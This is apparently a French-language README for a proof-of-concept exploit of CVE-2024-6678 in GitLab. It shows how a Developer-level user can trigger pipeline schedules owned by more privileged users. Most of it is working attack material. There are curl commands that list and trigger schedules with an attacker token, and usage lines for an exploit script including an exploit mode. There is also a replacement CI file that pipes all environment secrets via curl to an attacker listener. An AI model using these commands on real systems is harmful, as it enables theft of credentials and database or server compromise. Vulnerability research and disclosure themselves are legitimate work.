
PoC for CVE-2024-6678
PoC pour CVE-2024-6678
GitLab permet aux utilisateurs de lancer manuellement des planifications de pipelines CI/CD (Pipeline Schedules) via le bouton « Play ». La vulnérabilité réside dans le fait que la fonction « play » permet à tout utilisateur avec les droits Developer (et pas seulement au propriétaire de la planification) de lancer la planification. Cela entraîne deux conséquences :
L'impact final dépendra de ce qui est stocké dans les variables de la planification. Par exemple, la variable DB_PASSWORD ouvre la possibilité de faire un dump complet de la base de données, et SSH_PRIVATE_KEY d'obtenir un RCE.
develop, staging) — ou bien il existe des planifications avec un format de ref court (bypass)Important : les planifications sur des branches protégées (par exemple,
refs/heads/mainavec la protection activée) sont bloquées par la politiquePipelineSchedulePolicy#protected_refet renvoient une erreur HTTP 403. L'attaque fonctionne pour les branches non protégées — c'est là que sont souvent créées les planifications d'intégration et de staging avec des identifiants de production.
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules" \
| python3 -m json.tool
Trouver une planification appartenant à un utilisateur plus privilégié (Maintainer/Owner).
curl -s -X POST \
-H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules/SCHEDULE_ID/play"
Réponse attendue : HTTP 201 — le pipeline est ajouté à la file d'attente.
Le pipeline est créé au nom de l'attaquant (current_user), mais avec toutes les variables de la planification (qui peuvent inclure des clés API, des jetons, des identifiants configurés par le propriétaire).
HTTP 500 "Unable to schedule pipeline run immediately" — Comportement attendu. Il s'agit de la déduplication Sidekiq (
deduplicate :until_executed) : la tâche pour cette planification est déjà dans la file d'attente suite à un lancement précédent réussi. Cela signifie que l'attaque a déjà fonctionné et que la tâche attend d'être exécutée.
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipelines?source=schedule&per_page=5" \
| python3 -m json.tool | grep -E '"id"|"status"|"username"'
# Lancement de base : sélection automatique de la planification
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42
# Spécifier une planification particulière
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--schedule-id 7
# Via GraphQL (nécessite --project-path)
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--graphql \
--project-path "mygroup/myrepo"
# Vérifier le bypass legacy-ref
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--exploit-mode
Avant le déclenchement, le PoC remplace .gitlab-ci.yml dans develop par : stages: [exfil] dump_vars: stage: exfil script: - env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-
Tout cela arrive sur votre écouteur